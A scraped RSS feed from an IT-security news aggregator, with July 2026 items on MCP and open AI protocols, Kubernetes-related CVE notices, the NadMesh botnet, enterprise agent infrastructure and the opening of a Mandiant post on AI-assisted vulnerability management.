isn’t that “AI wrote the malware.” It’s that the attacker used LLMs to operate more like a modern software product team. The use of genAI enables them to prototype, test, and scale their delivery pipeline at a fast pace.</span></p>]]></content:encoded>
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<title><![CDATA[Falcon Cloud Security: Deploy Kubernetes Protection in Minutes]]></title>
<description><![CDATA[Author: CrowdStrike - Bewertung: 1x - Views:9 Deploy CrowdStrike Falcon Cloud Security in your Kubernetes environment in minutes to enable runtime protection and gain real-time visibility into vulnerabilities, misconfigurations, and active threats - all from a single platform.

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<pubDate>Mon, 20 Jul 2026 15:18:49 +0200</pubDate>
<category>🎥 IT Security Video</category>
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<content:encoded><![CDATA[<p>Author: CrowdStrike - Bewertung: 1x - Views:9 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/vGuHgxzYzi8?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Deploy CrowdStrike Falcon Cloud Security in your Kubernetes environment in minutes to enable runtime protection and gain real-time visibility into vulnerabilities, misconfigurations, and active threats - all from a single platform.<br />
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<title><![CDATA[The gravitational pull of AI]]></title>
<description><![CDATA[Last year Anthropic gave away one of the most successful things it has ever built. And, no, I’m not talking about Claude. I’m referring to MCP, the now ubiquitous Model Context Protocol, which Anthropic donated to the Linux Foundation’s new Agentic AI Foundation⁠. At the time, MCP was pulling nea...]]></description>
<link>https://tsecurity.de/de/3680668/ai-nachrichten/the-gravitational-pull-of-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680668/ai-nachrichten/the-gravitational-pull-of-ai/</guid>
<pubDate>Mon, 20 Jul 2026 11:04:13 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Last year Anthropic gave away one of the most successful things it has ever built. And, no, I’m not talking about Claude. I’m referring to MCP, the now ubiquitous Model Context Protocol, which Anthropic <a href="https://anthropic.com/news/donating-the-model-context-protocol-and-establishing-of-the-agentic-ai-foundation">donated to the Linux Foundation’s new Agentic AI Foundation</a>⁠. At the time, MCP was <a href="https://blog.modelcontextprotocol.io/posts/2025-12-09-mcp-joins-agentic-ai-foundation/">pulling nearly 100 million monthly SDK downloads</a> across more than 10,000 active servers⁠, prompting the question as to why any company would give up such a popular piece of technology.</p>



<p class="wp-block-paragraph">Google did much the same months earlier, <a href="https://developers.googleblog.com/en/google-cloud-donates-a2a-to-linux-foundation/">handing its Agent2Agent (A2A) protocol</a> to the Linux Foundation⁠ with AWS, Cisco, Microsoft, Salesforce, SAP, and ServiceNow signing on as founding members. OpenAI, not to be outdone, <a href="https://openai.com/index/new-tools-and-features-in-the-responses-api/">supports remote MCP servers in its Responses API</a>⁠, sits on the MCP steering committee, and contributed AGENTS.md to that same foundation alongside its fiercest rival’s protocol.</p>



<p class="wp-block-paragraph">It’s like <em>Game of Thrones</em>, except the principal AI powers seek regime change through seeming acts of beneficence rather than violence. For those who have been around for a while, it’s also entirely predictable, following a similar script we’ve seen in the cloud, on-premises servers, and more. Platform companies don’t give away technologies they’ve stopped caring about. They give away technologies they no longer need to own because competitive advantage has shifted to new ground.</p>



<p class="wp-block-paragraph">What does this mean for AI?</p>



<h2 class="wp-block-heading"><a></a>Gravity has shifted before</h2>



<p class="wp-block-paragraph">Google has long been an exceptionally active contributor to open source. <a href="https://www.infoworld.com/article/2260293/open-source-innovation-is-now-all-about-vendor-on-ramps-2.html">As I wrote in 2017</a>, Google wasn’t open sourcing TensorFlow and Kubernetes out of generosity but rather turning these open source assets into on-ramps for Google Cloud. Google was playing catch-up to AWS and Microsoft. As <a href="https://www.infoworld.com/article/2248699/why-kubernetes-is-winning-the-container-war.html">then Google product manager Martin Buhr said</a>, the company hoped to “create a gravity well in the market for container-based apps [so] that a significant percentage of them will end up with us.”</p>



<p class="wp-block-paragraph">In other words, platform companies routinely commoditize one layer of the stack so they can compete somewhere they hold a stronger hand.</p>



<p class="wp-block-paragraph">GitHub may be an even better example. <a href="https://www.infoworld.com/article/2334697/what-is-git-version-control-for-collaborative-programming.html">Git </a>is open. Anyone can host a Git repository and, once upon a time, different companies did just that. Yet <a href="https://www.infoworld.com/article/2266566/what-is-github-more-than-git-version-control-in-the-cloud.html">GitHub </a>became the default place software development happens for millions of developers. Nobody pays for Git, but lots of people pay for GitHub. We’re seeing this same phenomenon play out in AI.</p>



<h2 class="wp-block-heading">Trading contributions for control</h2>



<p class="wp-block-paragraph">Anthrophic and OpenAI have both pretended at being all for humanity’s good, but that’s not a good explanation for why they’re racing to give away things like <a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">MCP</a>. The deeper reason is that the model itself has turned out to be a poor place to build a lasting moat, and they’re trying to figure out what’s next. <a href="https://www.infoworld.com/article/4195842/which-ai-model-should-you-bet-your-company-on-none-of-them.html">As I pointed out recently</a>, the frontier model leaderboards change almost weekly. As such, enterprises shouldn’t build their AI strategy around the assumption that any one vendor will remain permanently ahead on model quality. Instead, as I suggested, AI may be sexy, but the “dull reality” is connecting those models to enterprise data, workflows, etc.</p>



<p class="wp-block-paragraph">The AI companies understand this better than anyone. Sure, they’ll continue spending billions training ever more capable models because frontier models attract developers, generate headlines, and open enterprise doors. But they’re also quietly acknowledging that benchmark leadership alone doesn’t create a durable platform.</p>



<p class="wp-block-paragraph">Developers return to the places where their tools, workflows, teammates, and accumulated work already live. Enterprises double down on the systems where their data, permissions, governance, and business processes are already connected. Every new integration makes that destination a little harder to leave, and every new workflow increases its pull. That’s what MCP, A2A, etc., are all about: increasing gravity around the models.</p>



<p class="wp-block-paragraph">Every major AI company wants to become the place where AI-assisted work naturally happens, and they’re now amassing armies of forward deployed engineers and trying other means to get legacy infrastructure to tie back to their frontier models. The enterprise incumbents want the same thing, but from the opposite direction. They don’t need to own the frontier; instead they need to connect the frontier to the systems that already safely run the business.</p>



<p class="wp-block-paragraph">That’s why I’m skeptical whenever someone confidently predicts that AI will sweep away enterprise software. I’ve seen this movie before. Developers absolutely live on the frontier, but enterprises don’t. Enterprises create value by connecting new capabilities to decades of accumulated applications, data, policies, and business processes. The newest model matters, and so does the newest agent framework. But neither creates much business value until it’s connected to customer records, financial systems, supply chains, HR data, and everything else enterprises already depend on.</p>



<p class="wp-block-paragraph">That’s where incumbents still possess enormous gravitational pull. My employer, Oracle, certainly believes so, just as Microsoft, SAP, Salesforce, and ServiceNow do. (Disclosure: I run developer relations at Oracle, which participates in the Agentic AI Foundation.) Ironically, open protocols strengthen that position rather than weaken it. If every model can speak MCP and every agent can interoperate through common standards, enterprises gain the freedom to adopt whichever frontier technology looks best without rebuilding every integration. The protocol becomes interchangeable.</p>



<h2 class="wp-block-heading">Open standards don’t stop gravity</h2>



<p class="wp-block-paragraph">None of this diminishes the importance of open standards. MCP succeeded because it solves a genuine problem. Developers shouldn’t have to build a custom connector every time an AI application needs access to a database or other business system. Neutral governance also matters because nobody wants foundational infrastructure controlled by a direct competitor. But we shouldn’t confuse open interfaces with open markets.</p>



<p class="wp-block-paragraph">An enterprise may find it easy to swap one MCP-compatible model for another while still remaining deeply dependent on the place where its prompts, evaluations, security policies, and employee habits have accumulated. Again, we’ve seen this before. Kubernetes made workloads dramatically more portable without making AWS, Azure, and Google Cloud interchangeable. SQL has been standardized for decades, yet databases remain fiercely differentiated businesses. Standards reduce friction, but they rarely eliminate competitive advantage. They simply move it.</p>



<p class="wp-block-paragraph">In like manner, Anthropic, Google, OpenAI, and others are happily standardizing how models, agents, tools, and enterprise systems communicate because they don’t expect the connection itself to determine the winner. Instead they expect to win by becoming the place where AI-assisted work naturally accumulates. Along the way, we’re going to see copious quantities of code given away, increasing developer productivity for all and outsized financial bonanzas for a few. Game on.</p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[Kritische Schwachstelle in Open-Source-Software für Container-Runtime]]></title>
<description><![CDATA[Schwachstellen in containerd gefährden Kubernetes-Umgebungen. Angreifer können Host-Befehle ausführen, Ressourcenkontrollen umgehen oder sensible Host-Dateien auslesen. Schnelles Patchen ist erforderlich.]]></description>
<link>https://tsecurity.de/de/3680287/it-security-nachrichten/kritische-schwachstelle-in-open-source-software-fuer-container-runtime/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680287/it-security-nachrichten/kritische-schwachstelle-in-open-source-software-fuer-container-runtime/</guid>
<pubDate>Mon, 20 Jul 2026 07:54:01 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Schwachstellen in containerd gefährden Kubernetes-Umgebungen. Angreifer können Host-Befehle ausführen, Ressourcenkontrollen umgehen oder sensible Host-Dateien auslesen. Schnelles Patchen ist erforderlich.]]></content:encoded>
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<title><![CDATA[OpenVox Operator - Puppet Infrastructure as Kubernetes CRDs (voxconf2026)]]></title>
<description><![CDATA[Setting up a production-ready OpenVox stack is complex: node classification, auto signing, load balancing, code deployment, OpenVox DB - everything has to be set up and wired up by hand. The OpenVox Operator takes care of that and describes the entire infrastructure declaratively as Kubernetes Cu...]]></description>
<link>https://tsecurity.de/de/3680266/it-security-video/openvox-operator-puppet-infrastructure-as-kubernetes-crds-voxconf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680266/it-security-video/openvox-operator-puppet-infrastructure-as-kubernetes-crds-voxconf2026/</guid>
<pubDate>Mon, 20 Jul 2026 07:48:16 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Setting up a production-ready OpenVox stack is complex: node classification, auto signing, load balancing, code deployment, OpenVox DB - everything has to be set up and wired up by hand. The OpenVox Operator takes care of that and describes the entire infrastructure declaratively as Kubernetes Custom Resources. After a short introduction to what a Kubernetes Operator is, the talk walks through the design and a live demo showing how quickly a fully working, scalable OpenVox server comes up.

https://github.com/slauger/talk-voxconf-2026
about this event: https://c3voc.de]]></content:encoded>
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<title><![CDATA[California's 'Truth in Recycling' Law Blocked by Judge]]></title>
<description><![CDATA[An anonymous reader shared this report from the Los Angeles Times:

A federal judge has halted California's groundbreaking "Truth in Recycling" law, which aims to reduce consumer confusion about which packaging can be recycled. [Originally planned to take effect October 4th], California's recycla...]]></description>
<link>https://tsecurity.de/de/3680013/it-security-nachrichten/californias-truth-in-recycling-law-blocked-by-judge/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680013/it-security-nachrichten/californias-truth-in-recycling-law-blocked-by-judge/</guid>
<pubDate>Sun, 19 Jul 2026 23:22:15 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[An anonymous reader shared this report from the Los Angeles Times:

A federal judge has halted California's groundbreaking "Truth in Recycling" law, which aims to reduce consumer confusion about which packaging can be recycled. [Originally planned to take effect October 4th], California's recyclable packaging law prohibits manufacturers from using a "chasing arrows" recycling symbol on products or materials unless they are actually being recycled in a meaningful way, which the law quantifies... 

A coalition of farming, forestry, restaurant and packaging organizations sued the state in March, arguing the law violates their right to free speech. They argued that Senate Bill 343 operates as "government-imposed censorship." Judge William Hayes agreed that their challenge has merit, and on Tuesday ordered California Atty. Gen. Rob Bonta, the defendant in the case, to pause enforcement of the law "until further order of the Court...." Advocates of reducing plastic use disagreed. "The court got it wrong, and I'm confident that the state will ultimately prevail," said Nick Lapis, director of advocacy for Californians Against Waste. "S.B. 343 does not violate the 1st Amendment; it requires companies to tell the truth when they make recyclability claims. Suggesting that the 1st Amendment protects misleading environmental marketing is inconsistent with the basic principles of consumer protection that states like California have implemented for decades." 


In January, CalRecycle, the state's waste agency, reported that less than 10% of most single-use plastic materials in the state were being recycled. Even yogurt containers and margarine tubs — made of ubiquitous polypropylene, or No. 5 plastic — are being recycled at a rate of only 2% in the state, the report said. Only 5% of colored shampoo and detergent bottles, made from polyethylene, or No. 1 plastic, are getting recycled... 

Plastic materials that can't be recycled are typically sent to landfills or sometimes illegally shipped overseas, where they are burned or end up in landfills, rivers and waterways.


 
The bill's author told the Los Angeles Times "All you have to do is look at the numbers. These products are not getting recycled, despite what the industry is claiming. They are just confusing consumers, clogging the waste stream, polluting the environment, leading to higher and higher prices for local governments and ratepayers." He argues the symbols shouldn't be used to "confuse people who see the symbols [on products] and assume they can be recycled." 

The article also quotes Judith Enck, former Environmental Protection Agency regional administrator and president of the nonprofit Beyond Plastics. "Given the long history of the plastics industry deceiving the public about plastics recycling, this is an especially bad outcome. It is a reminder that the plastics industry has enough money to fight even the most modest policy designed to protect people and the planet."<p></p><div class="share_submission">
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</div><p><a href="https://news.slashdot.org/story/26/07/19/210221/californias-truth-in-recycling-law-blocked-by-judge?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[CVE-2026-9165 | Red Hat Advanced Cluster Security for Kubernetes Authenticated GraphQL API resource consumption]]></title>
<description><![CDATA[A vulnerability was found in Red Hat Advanced Cluster Security for Kubernetes and classified as problematic. This affects an unknown function of the component Authenticated GraphQL API. Executing a manipulation can lead to resource consumption.

This vulnerability is registered as CVE-2026-9165. ...]]></description>
<link>https://tsecurity.de/de/3678736/sicherheitsluecken/cve-2026-9165-red-hat-advanced-cluster-security-for-kubernetes-authenticated-graphql-api-resource-consumption/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678736/sicherheitsluecken/cve-2026-9165-red-hat-advanced-cluster-security-for-kubernetes-authenticated-graphql-api-resource-consumption/</guid>
<pubDate>Sun, 19 Jul 2026 04:08:56 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/red_hat:advanced_cluster_security_for_kubernetes">Red Hat Advanced Cluster Security for Kubernetes</a> and classified as <a href="https://vuldb.com/kb/risk">problematic</a>. This affects an unknown function of the component <em>Authenticated GraphQL API</em>. Executing a manipulation can lead to resource consumption.

This vulnerability is registered as <a href="https://vuldb.com/cve/CVE-2026-9165">CVE-2026-9165</a>. It is possible to launch the attack remotely. No exploit is available.]]></content:encoded>
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<title><![CDATA[CVE-2026-61459 | Flux159 MCP Server Kubernetes up to 3.8.x Argument Parser resourceType/name argument injection]]></title>
<description><![CDATA[A vulnerability, which was classified as problematic, has been found in Flux159 MCP Server Kubernetes up to 3.8.x. This impacts an unknown function of the component Argument Parser. Performing a manipulation of the argument resourceType/name results in argument injection.

This vulnerability is k...]]></description>
<link>https://tsecurity.de/de/3677954/sicherheitsluecken/cve-2026-61459-flux159-mcp-server-kubernetes-up-to-38x-argument-parser-resourcetypename-argument-injection/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677954/sicherheitsluecken/cve-2026-61459-flux159-mcp-server-kubernetes-up-to-38x-argument-parser-resourcetypename-argument-injection/</guid>
<pubDate>Sat, 18 Jul 2026 14:09:30 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability, which was classified as <a href="https://vuldb.com/kb/risk">problematic</a>, has been found in <a href="https://vuldb.com/product/flux159:mcp_server_kubernetes">Flux159 MCP Server Kubernetes up to 3.8.x</a>. This impacts an unknown function of the component <em>Argument Parser</em>. Performing a manipulation of the argument <em>resourceType/name</em> results in argument injection.

This vulnerability is known as <a href="https://vuldb.com/cve/CVE-2026-61459">CVE-2026-61459</a>. Remote exploitation of the attack is possible. No exploit is available.]]></content:encoded>
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<title><![CDATA[Foreman, Puppet and Containers (voxconf2026)]]></title>
<description><![CDATA[about this event: https://c3voc.de]]></description>
<link>https://tsecurity.de/de/3677774/it-security-video/foreman-puppet-and-containers-voxconf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677774/it-security-video/foreman-puppet-and-containers-voxconf2026/</guid>
<pubDate>Sat, 18 Jul 2026 11:33:51 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[about this event: https://c3voc.de]]></content:encoded>
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<title><![CDATA[NadMesh: Botnet jagt KI-Services nach Cloud-Keys und Kubernetes-Tokens]]></title>
<description><![CDATA[LONDON (IT BOLTWISE) – Ein Go-Botnet namens NadMesh scannt gezielt exponierte KI-Dienste und versucht, über offene Schnittstellen an Cloud-Keys sowie Kubernetes-Token zu gelangen. Die Auswertung eines QiAnXin-XLab-Reports zeigt zahlreiche Inkonsistenzen in den eigenen Operator-Statistiken, aber k...]]></description>
<link>https://tsecurity.de/de/3676946/it-security-nachrichten/nadmesh-botnet-jagt-ki-services-nach-cloud-keys-und-kubernetes-tokens/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676946/it-security-nachrichten/nadmesh-botnet-jagt-ki-services-nach-cloud-keys-und-kubernetes-tokens/</guid>
<pubDate>Fri, 17 Jul 2026 22:08:39 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-nadmesh-mcp-kubernetes-keys.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-nadmesh-mcp-kubernetes-keys.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-nadmesh-mcp-kubernetes-keys-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-nadmesh-mcp-kubernetes-keys-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-nadmesh-mcp-kubernetes-keys-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-nadmesh-mcp-kubernetes-keys-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-nadmesh-mcp-kubernetes-keys-120x120.jpg 120w" sizes="(max-width: 1024px) 100vw, 1024px">LONDON (IT BOLTWISE) – Ein Go-Botnet namens NadMesh scannt gezielt exponierte KI-Dienste und versucht, über offene Schnittstellen an Cloud-Keys sowie Kubernetes-Token zu gelangen. Die Auswertung eines QiAnXin-XLab-Reports zeigt zahlreiche Inkonsistenzen in den eigenen Operator-Statistiken, aber klare Hinweise auf echte Ausnutzung. Besonders betroffen sind Faktoren, die Unternehmen oft zu spät absichern: öffentliche Docker-APIs, Jenkins-Schnittstellen und ungeschützte […]</p>
<div><a href="https://www.it-boltwise.de/nadmesh-botnet-jagt-ki-services-nach-cloud-keys-und-kubernetes-tokens.html">... den vollständigen Artikel <strong>»NadMesh: Botnet jagt KI-Services nach Cloud-Keys und Kubernetes-Tokens«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/nadmesh-botnet-jagt-ki-services-nach-cloud-keys-und-kubernetes-tokens.html">NadMesh: Botnet jagt KI-Services nach Cloud-Keys und Kubernetes-Tokens</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE x Artificial Intelligence</a>.</p>]]></content:encoded>
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<title><![CDATA[Agents think in milliseconds, legacy infrastructure doesn't. LinkedIn, Walmart and Zendesk shared how they closed the gap at VB Transform 2026]]></title>
<description><![CDATA[Legacy infrastructure, not the models themselves, is what's actually slowing AI agents down. That was the shared conclusion of three infrastructure leaders — from LinkedIn, Walmart, and Zendesk — at VB Transform 2026.The panel brought together Animesh Singh, senior director of AI platform and inf...]]></description>
<link>https://tsecurity.de/de/3676906/it-nachrichten/agents-think-in-milliseconds-legacy-infrastructure-doesnt-linkedin-walmart-and-zendesk-shared-how-they-closed-the-gap-at-vb-transform-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676906/it-nachrichten/agents-think-in-milliseconds-legacy-infrastructure-doesnt-linkedin-walmart-and-zendesk-shared-how-they-closed-the-gap-at-vb-transform-2026/</guid>
<pubDate>Fri, 17 Jul 2026 21:32:54 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Legacy infrastructure, not the models themselves, is what's actually slowing AI agents down. That was the shared conclusion of three infrastructure leaders —<!-- --> from LinkedIn, Walmart, and Zendesk —<!-- --> at<a href="https://venturebeat.com/vbtransform2026"> VB Transform 2026</a>.</p><p>The panel brought together Animesh Singh, senior director of AI platform and infrastructure at LinkedIn, Desiree Gosby, SVP of corporate technology services and technology strategy at Walmart, and Sami Ghoche, VP of applied AI at Zendesk, each describing what actually broke when they moved agents from pilot to production. Each arrived at the same conclusion from a different starting point: None of the bottlenecks they hit were model problems.</p><p>What tied their answers together was a shared premise: most enterprise infrastructure was built for how humans work, not for how agents work. The gap between those two speeds is where the real engineering happened.</p><p>Gosby put it plainly when asked what she'd learned scaling agents inside Walmart's own workforce. The goal, she said, is to make sure "engineering doesn't once again become the bottleneck for what it is we're trying to do."</p><h2><b>Where the bottleneck actually was</b></h2><p>Each company hit a different version of the same wall: infrastructure designed for how people work doesn't hold up once agents are doing the work instead.</p><p>At LinkedIn, the first bottleneck wasn't a model, it was Kubernetes, which assumes containers spin up on demand, a process that takes seconds. Singh said that's too slow for agents. The fix was moving from on-demand provisioning to pre-provisioned pools of containers that swap agentic workloads in and out in real time.</p><p>A second, harder problem surfaced once LinkedIn let agents control their own orchestration. A five-point evaluation system looked clean, but hallucination kept showing up anyway. Singh said the issue was structural, an LLM evaluating another LLM's output shares the same failure mode as the thing it's evaluating. </p><p>"We built our own harness, our own control flow, and pushed the LLMs to the leaf instead of them orchestrating the loop," Singh said. Roughly 80% of the workflow is now scripted, deterministic code, with LLMs used only where reasoning is required, and each step's evidence is committed to disk before the system moves on.</p><p>Walmart's bottleneck came from success. An agent harness put directly into employees' hands went viral internally, and what Gosby called "citizen developers" began building their own agents to solve problems that once required a formal engineering roadmap. The upside was real innovation. The downside was duplication, dozens of overlapping agents with no coordination. The fix wasn't reining in the harness, it was building governance to spot duplication, promote the best version of an agent, and get it into production without engineering becoming a chokepoint.</p><p>Zendesk hit its bottleneck from the data side. Ghoche, who joined through <a href="https://www.zendesk.com/newsroom/press-releases/zendesk-completes-acquisition-of-forethought/">Zendesk's acquisition of Forethought</a>, which closed in March 2026, described sitting on what he called a public figure of 20 billion customer conversations in Zendesk's repository. The instinct is to hand that history to a large language model with a big context window and let it generate the agents a business needs. Ghoche said that doesn't work. "You can't really do that, so instead you have to really invest in the underlying data pipelines and all the data infrastructure that comes with that," he said.</p><h2>The role of open source</h2><p>On open source, all three leaders landed on a similar instinct: own what you can, and lean on frontier labs only where they still have a clear edge.</p><p>Ghoche said his own view is that most enterprises would prefer to own their models and infrastructure wherever that's possible, and that reasoning is what drives Zendesk's own approach. The exception is frontier reasoning work, where the labs still lead, though he said that slice of use cases is shrinking relative to everything else enterprises now do with AI.</p><p>LinkedIn's answer was to build two subsystems specifically for independence. The first is what the company calls an AI gateway, a single interface that every outbound call to a model runs through regardless of provider. The second component is a memory subsystem built to hold context independent of any model provider.</p><p>"Every single outbound call going to an LLM, whether it's on a public cloud or on-prem in our own data centers, follows the same semantics, the same API calls. We can quickly switch between different providers," Singh said. </p><p>Walmart built its own internal gateway to stay vendor agnostic across three workload types: fully deterministic workflows, planner-and-reasoner workflows for open-ended tasks, and a hybrid of the two. Compliance-heavy work stays deterministic by design; governance, security and evaluation run through the gateway regardless of which model is on the other end. Gosby said the choice between a frontier model and an open-weight model comes down to whichever is most effective for the specific workload, not a fixed policy.</p><h2>Advice for the modernization journey</h2><p>Three pieces of advice came up directly, each tied to the wall a leader had already hit.</p><p><b>Invest in evals before anything else.</b> Ghoche called it the thing common to every use case, internal or customer facing. </p><p>"The thing that's common to all of these is evals. It'll force you to break the problem down, and once you have a robust set of evals, you can move a lot faster," he said, </p><p><b>Own your agent harness from day one.</b> Gosby's advice was to put the AI harness directly in employees' hands early, paired with the infrastructure to monitor what it produces. </p><p>"It will unlock a huge amount of innovation," she said.</p><p><b>Build for model and context independence.</b> Ensuring flexibility is critical for success.</p><p>"Build for independence, whether it's a frontier model of today versus an open source model of tomorrow," Singh said. "Keep that context within your enterprise so that you can reuse it when you ship the model or the harness tomorrow," Singh said.</p>]]></content:encoded>
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<title><![CDATA[New NadMesh Botnet Hunts Exposed AI Services for Cloud Keys and Kubernetes Tokens]]></title>
<description><![CDATA[A Go botnet called NadMesh turned up in early July hunting exposed AI services, and the operator’s own dashboard claims 3,811 unique AWS keys. A Shodan harvester keeps the scan queue stocked with ComfyUI, Ollama, n8n, Open WebUI, Langflow, and…
Read more →
The post New NadMesh Botnet Hunts Expose...]]></description>
<link>https://tsecurity.de/de/3676727/it-security-nachrichten/new-nadmesh-botnet-hunts-exposed-ai-services-for-cloud-keys-and-kubernetes-tokens/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676727/it-security-nachrichten/new-nadmesh-botnet-hunts-exposed-ai-services-for-cloud-keys-and-kubernetes-tokens/</guid>
<pubDate>Fri, 17 Jul 2026 19:38:55 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A Go botnet called NadMesh turned up in early July hunting exposed AI services, and the operator’s own dashboard claims 3,811 unique AWS keys. A Shodan harvester keeps the scan queue stocked with ComfyUI, Ollama, n8n, Open WebUI, Langflow, and…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/new-nadmesh-botnet-hunts-exposed-ai-services-for-cloud-keys-and-kubernetes-tokens/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/new-nadmesh-botnet-hunts-exposed-ai-services-for-cloud-keys-and-kubernetes-tokens/">New NadMesh Botnet Hunts Exposed AI Services for Cloud Keys and Kubernetes Tokens</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[New NadMesh Botnet Hunts Exposed AI Services for Cloud Keys and Kubernetes Tokens]]></title>
<description><![CDATA[A Go botnet called NadMesh turned up in early July hunting exposed AI services, and the operator's own dashboard claims 3,811 unique AWS keys.

A Shodan harvester keeps the scan queue stocked with ComfyUI, Ollama, n8n, Open WebUI, Langflow, and Gradio: the image generators, local model runners, a...]]></description>
<link>https://tsecurity.de/de/3676657/it-security-nachrichten/new-nadmesh-botnet-hunts-exposed-ai-services-for-cloud-keys-and-kubernetes-tokens/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676657/it-security-nachrichten/new-nadmesh-botnet-hunts-exposed-ai-services-for-cloud-keys-and-kubernetes-tokens/</guid>
<pubDate>Fri, 17 Jul 2026 19:24:55 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A Go botnet called NadMesh turned up in early July hunting exposed AI services, and the operator's own dashboard claims 3,811 unique AWS keys.

A Shodan harvester keeps the scan queue stocked with ComfyUI, Ollama, n8n, Open WebUI, Langflow, and Gradio: the image generators, local model runners, and workflow builders that teams stand up fast and firewall late.

The intel feed behind that counter]]></content:encoded>
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<title><![CDATA[15 O&#x27;Reilly Linux eBooks for Under $30: A Bundle That Goes From Command Line Basics to Kubernetes]]></title>
<description><![CDATA[Don't miss! Pay tiny amount for a Git-to-Kubernetes Linux library of DRM-free eBooks, with part of the purchase going to Code for America.]]></description>
<link>https://tsecurity.de/de/3675916/unix-server/15-ox27reilly-linux-ebooks-for-under-30-a-bundle-that-goes-from-command-line-basics-to-kubernetes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675916/unix-server/15-ox27reilly-linux-ebooks-for-under-30-a-bundle-that-goes-from-command-line-basics-to-kubernetes/</guid>
<pubDate>Fri, 17 Jul 2026 13:47:06 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Don't miss! Pay tiny amount for a Git-to-Kubernetes Linux library of DRM-free eBooks, with part of the purchase going to Code for America.]]></content:encoded>
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<title><![CDATA[Demystifying AI Exploits: A Blueprint for AI-Assisted Vulnerability Management]]></title>
<description><![CDATA[Written by: Jules Czarniak

Introduction 
As highlighted in the Mandiant M-Trends 2026 report, the mean time-to-exploit (TTE) has dropped to -7 days, meaning vulnerabilities are often exploited a week before a patch even exists. 
To keep pace, many security teams are exploring how to integrate la...]]></description>
<link>https://tsecurity.de/de/3673775/it-security-nachrichten/demystifying-ai-exploits-a-blueprint-for-ai-assisted-vulnerability-management/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673775/it-security-nachrichten/demystifying-ai-exploits-a-blueprint-for-ai-assisted-vulnerability-management/</guid>
<pubDate>Thu, 16 Jul 2026 16:23:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph_advanced"><p>Written by: Jules Czarniak</p>
<hr></div>
<div class="block-paragraph_advanced"><h3><span>Introduction </span></h3>
<p><span>As highlighted in the </span><a href="https://cloud.google.com/security/resources/m-trends"><span>Mandiant M-Trends 2026 report</span></a><span>, the mean time-to-exploit (TTE) has dropped to -7 days, meaning vulnerabilities are often exploited a week before a patch even exists. </span></p>
<p><span>To keep pace, many security teams are exploring how to integrate large language model (LLM) agents into their codebases, development environments and continuous integration and continuous delivery (CI/CD) pipelines for automated vulnerability discovery and remediation. However, deploying privileged artificial intelligence (AI) agents without mature integration processes introduces new architectural risks. </span></p>
